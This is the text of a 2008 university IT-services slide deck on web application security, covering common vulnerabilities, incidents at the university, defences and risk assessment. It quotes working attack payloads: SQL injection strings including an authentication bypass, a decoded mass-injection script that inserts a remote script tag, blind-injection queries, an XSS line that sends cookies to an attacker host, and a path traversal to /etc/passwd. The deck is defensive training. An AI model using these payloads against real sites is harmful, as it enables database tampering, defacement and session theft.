http xkcd com 327 Web Security Chris Wakelin

http: //xkcd. com/327 Web Security Chris Wakelin – IT Services © University of Reading 2008 www. reading. ac. uk

Introduction • Background • Vulnerabilities • Defences • Risk Assessment

Background - Incidence of common vulnerabilities • Broken authentication – 67% • Broken access controls – 78% • SQL injection – 36% • Cross-site scripting – 91% • Information leakage – 81% (source – Web Application Hacker’s Handbook)

Background – Mass exploits • November 2007 – yl 18. net – “ 40, 000 websites” – http: //isc. sans. org/diary. html? storyid=3621 – Including www. reading. gov. uk • January 2008 - uc 8010. com – “ 70, 000 websites” – Including www. iop. kcl. ac. uk ? – http: //isc. sans. org/diary. html? storyid=3823

Background Uo. R Web defacements • Fresher’s Week 2007 – www. careers. reading. ac. uk defaced – “code own 3 d by UGUR 238” appearing everywhere • 30 th October – www. launchpad. reading. ac. uk defaced – “ownz ya baby” • 19 th November 2007 – www. reading. ac. uk/moneymatters (a. k. a. www. extra. rdg. ac. uk/studentfinance) defaced – “Hooked by cyber_zook” • We’ve been lucky!

Background – Motivation • We were lucky, still only “script kiddies” – No malicious code inserted – Defacement was obvious (boasting!) • Mass exploits are perpetrated by Cyber Criminals – – Wish to insert malicious code (Javascript and IFRAMEs) Attack visiting clients with cocktail of exploits Eventually install “Trojan du Jour” (“drive-by downloads”) Compromised clients used to capture banking details, spread spam etc. • Consequences of such an exploit in the University – Many of the clients would be our users • Potentially huge clean-up task – Damage to University’s reputation etc.

Vulnerabilities SQL Injection - Cartoon • Consider the cartoon. What if the web app used the following SQL query? SELECT * FROM Students WHERE (status = ‘active’ AND name=‘$name’) • “Little Bobby Tables” has just made $name = Robert‘); DROP TABLE Students; -- • So the query becomes SELECT * FROM Students WHERE (account=‘active’ AND name=‘Robert’); DROP TABLE Students; -- ‘) • Oops!

Vulnerabilities – SQL Injection - Authentication • What about SELECT * FROM Users WHERE username=‘$username’ AND password=‘$password’ ? • I found three different Uo. R websites where a password of ‘OR ‘ 1’=‘ 1 logged me in (as an Administrator in two of the cases!) – … AND password=‘’ OR ‘ 1’=‘ 1’ – One using MS SQL Server (ASP, commercial), one MS Access (ASP, consultancy) and one My. SQL (PHP, home-grown)

Vulnerabilities SQL Injection – Mass Exploits HTTP Request was GET /home/site_content_3. asp? s=290'; DECLARE%20@S%20 NVARCHAR(4000); SET%20 @S=CAST(0 x 6400650063006 C 00610072. . . 29003 B 00%20 AS%20 NVARCHAR(4000)); EXEC(@S); -- Which decodes as declare @m varchar(8000); set @m=''; select @m=@m+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. n ame+'))+''<script src="hxxp: //yl 18 net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m);

Vulnerabilities Advanced SQL Injection • ‘Blind’ SQL Injection – Just needs to produce a different result depending on whether the given condition is true or false • Web. CMS was vulnerable – /nmsruntime/saveasdialog. asp? l. ID=14531%20 and%201=1&s. I D=22059 gave a different answer (downloaded the file) to – /nmsruntime/saveasdialog. asp? l. ID=14531%20 and%201=2&s. I D=22059 (gave an error) • Automated tools can potentially retrieve (slowly) everything in the database – Queries like … AND (SELECT ASCII(SUBSTR(password, 1, 1)) FROM users WHERE username=‘admin’) > 78

Vulnerabilities Advanced SQL Injection [*] starting at: 22: 00: 56 [22: 01: 03] [WARNING] the remote DMBS is not My. SQL [22: 01: 04] [WARNING] the remote DMBS is not Oracle [22: 01: 04] [WARNING] the remote DMBS is not Postgre. SQL remote DBMS: Microsoft SQL Server Database: ae 400_readingdev [163 tables] +--------------------+ | ACTIVATION | | AEMA_PAGE_AC_COST_VALUES | | AEMA_PAGE_AC_ROOMTERM_VALUES | | AEMA_PAGE_AC_TYPE_VALUES | | WORKFLOW_USERS | +--------------------+ [*] shutting down at: 00: 16: 21

Vulnerabilities Cross-Site Scripting (XSS) • • Not as spectacular as SQL injection Far more prevalent (91%) Severity depends on context E. g. can be used to hijack authenticated sessions – Victim is persuaded to follow specially crafted link to their application – Their browser sends their session cookie to the attacker – The attacker uses this cookie to hijack the session • Can be Spectacular – the My. Space worm used XSS – Attacker posted Javascript to his profile – People visiting that profile became his buddies and had the Javascript added to their profile – He ended up with over a million friends (not that they helped him in court!)

Vulnerabilities – Cross-Site Scripting • Typical problem is in search pages or error pages • …/Search. asp? search-term=<script> … – “You searched for <script>alert(document. cookie)</script>” • …/Login. php? user=<script> … – “User <script>var i=new Image; i. src=“hxxp: //hacker. com/”+document. cookie</script> does not exist” • Can also happen by “POST” (form submission) but harder to exploit • These are “Reflected” or “Class 1” XSS.

Vulnerabilites – Cross-Site Scripting • Stored” or “Class 2” XSS is where an attacker puts Javascript in a field (such as a comment) which is subsequently viewed by other users – E. g. Webmail, blogs, bulletin boards, advertisments • Other avenues of attack starting to appear – Flash – Active. X controls • Best browser defence is Firefox + No. Script plugin – Selectively allow Javascript for trusted sites – Perhaps not user-friendly enough …

Vulnerabilities – Outdated applications • E. g. Wordpress, php. BB, Joomla • “Google Hacking” – Find old vulnerable versions of well-known applications – E. g. “site: rdg. ac. uk inurl: wp-login. php” – See http: //johnny. ihackstuff. com/ghdb. php for more. . . • Even security professionals not immune http: //www. lightbluetouchpaper. org/2007/11/20/wor dpress-cookie-authentication-vulnerability/ • Watch out for “plugins” as they may be less well-written • Essential to keep applications up-to-date!

Vulnerabilities – Old versions and source code • Don’t keep old (potentially insecure) version of scripts lying around – Hackers will try “index. php. bak” and “default 2. asp” – If you must keep old versions online, pick a naming scheme that is unlikely to be guessed • “search-191107 cdw. asp” – If you change the file extension, the server may hand out your actual code! • Deny access to source and backup directories – Preferably keep them out of the web root altogether

Vulnerabilities - others • Other injection flaws – Command injection (can run OS commands) – Script injection (exec/eval/include commands in scripts) – HTTP header (CRLF) injection (anything the client sends you that ends up in the header, especially cookies and redirects) – SMTP/LDAP/XPATH/SOAP … • Path traversal – http: //myapp. reading. ac. uk/display. php? file=. . /etc/pass wd • Buffer overflows – Don’t rely on “<input … maxlength=xxx>” or “size=xxx” • …

Defences – Fix apps • Sanitise anything you get and use from the user – Including ‘hidden’ fields, cookies, user-agent etc. – Don’t assume they’ll obey things like length-restrictions • If possible, restrict to ‘known good’ rather than trying to exclude bad things – E. g. if your application takes an integer as an argument, reject anything that isn’t an integer – Be careful not to throw out the baby with the bathwater, though • We probably don’t want to exclude people of Irish ancestry from receiving the University prospectus – e. g. O’Connor • “Parameterise” SQL queries (if necessary) • HTML-Encode anything you output – htmlencode($string) in PHP – Server. HTMLencode(string) in ASP

Defences – Fix apps – Validate input • ASP Public Function Validate. Input(By. Val s. Input, By. Val s. Pattern) Dim re. Valid Set re. Valid = New Reg. Exp re. Valid. Pattern = s. Pattern re. Valid. Global = True Validate. Input = re. Valid. Test(s. Input) Set re. Valid = Nothing End Function If not Validate. Input(strid, "^[0 -9]+$") then strid="1" End If • PHP If (!preg_match("/^[0 -9]+$/", $strid)) $ strid="1" ;

Defences - Fix apps Parameterise queries • PHP $sql = $db_connection->prepare( “SELECT * FROM users WHERE username = ? AND password = ? ”); $sql->bind_param(“ss”, $username, $password); $sql->execute(); • ASP Set db. Command = Server. Create. Object("ADODB. Command") Set db. Command. Active. Connection = db. Connection db. Command. Type = ad. Cmd. Text db. Command. Text = "SELECT * FROM users WHERE username=? and password=? “ db. Command. Parameters. Append (db. Command. Create. Parameter("username", ad. Char, ad. Param. Input, Len(username), username)) db. Command. Parameters. Append (db. Command. Create. Parameter("pwd", ad. Char, ad. Param. Input, Len(pwd), pwd)) Set rs = db. Command. Execute

Defences Minimal permissions • Each application should have its own database account(s) – Account should have read-only privileges unless the application modifies the data – Use separate account for admin write access if possible – Don’t be DBA (even to just make things work) • Use access restrictions (. htaccess etc. ) to restrict admin functionality to trusted networks/users • Web servers shouldn’t run as root/local system/administrator or as the same user as the database – May be an idea to run the database on a different server altogether • Use strong passwords (and password policies) – Use password hashes where possible

Defences - Policies • We should aim to not be the “low-hanging fruit” • Move the fruit further up the tree by – Requiring authentication – Restricting access to those on campus where possible • Shake the tree ourselves and see what falls out – Then fix it • Hackers with ladders/cherry-pickers/chainsaws will probably beat us! – But we’re not a bank, so hopefully they won’t bother

Defences - Policies • A single Nessus Scan no longer sufficient – Websites change – Nessus not really suited to testing web applications • We need a policy of systematic testing – When a request for a database is made – When a web application is installed or changed – Periodic automated testing? • Try to consolidate to central services where possible – Do we need 10 different Wordpress installations?

Defences - Policies • Web applications need to be properly resourced and maintained (static pages are probably OK) • Consultancy & commercial – Can’t just pay a consultant to develop it and forget about it – Need support contract • Home-grown – What if the original author leaves? • Open-source – Keep up-to-date with latest releases and patches – What if it’s no longer maintained?

Defences - Security Scans • Historically we scanned new websites with Nessus – Not particularly aimed at web-application security problems • Doesn’t do “spidering” so will only find problems in obvious places – We only scanned once (and reserved the right to rescan later) – Nessus is free! • Web Security Scanners – Commercial ones are expensive £ 3000 - £ 30000! • Web. Inspect, App. Scan, Acunetix … – Can still have problems with false positives – Will still miss some of the obvious vulnerabilities – Probably can be used for automated and first-glance checks

Defences - Free testing tools • Paros Proxy (http: //www. parosproxy. org/ ) – Good point & click tool – a bit lacking in documentation – Will find the simplest XSS and SQL injection flaws • Burp Suite (http: //www. portswigger. net/suite/ ) – More sophisticated tools to assist the penetration tester • Acunetix Free Edition (http: //www. acunetix. com ) – Restricted version of commercial scanner; just finds XSS • Nikto (http: //www. cirt. net ) – Perl script to look for common vulnerabilities • Web. Goat (http: //www. owasp. org/ ) – Training application for pen testers (can you buy the HDTV for 0$? )

Defences Web Application Firewall • Mod_security for Apache (http: //www. modsecurity. org ) – Main Apache server is acting as “reverse proxy” for Web. CMS – Can block things like XSS and SQL injection attacks – Customisable “Core” Ruleset provided • Custom rules can protect particular applications – Provides an audit trail • Free console application (for up to 3 servers) – Currently running in “Log only” mode (on all virtual hosts) – Can proxy www. xyz. rdg. ac. uk by making DNS point to Apache • But may need different URL for editing – Risk of false positives (we have a very varied website)

Risk Assessment • SQL Injection in SQL Server or My. SQL – High risk – Actively targeted by automated attacks – Potential to affect other apps sharing the same database server • SQL Injection in MS Access – Medium risk – Less likely to be compromised by an automated attack – Determined hacker could probably modify the database and insert malicious code

Risk Assessment • Reflected XSS – Low to medium risk – Important on sites with authentication (Blackboard, RISIS, Trent etc. ) where session tokens could be stolen • Outdated well-known applications – Could be a high risk – Automated attacks via “Google Hacking”

Conclusion • Web application security now a ‘hot topic’ • Automated attacks occurring constantly • Need to fix home-grown scripts and applications • Need to keep third-party applications up-to-date • Need to ensure proper resources for maintenance • Need policies to keep track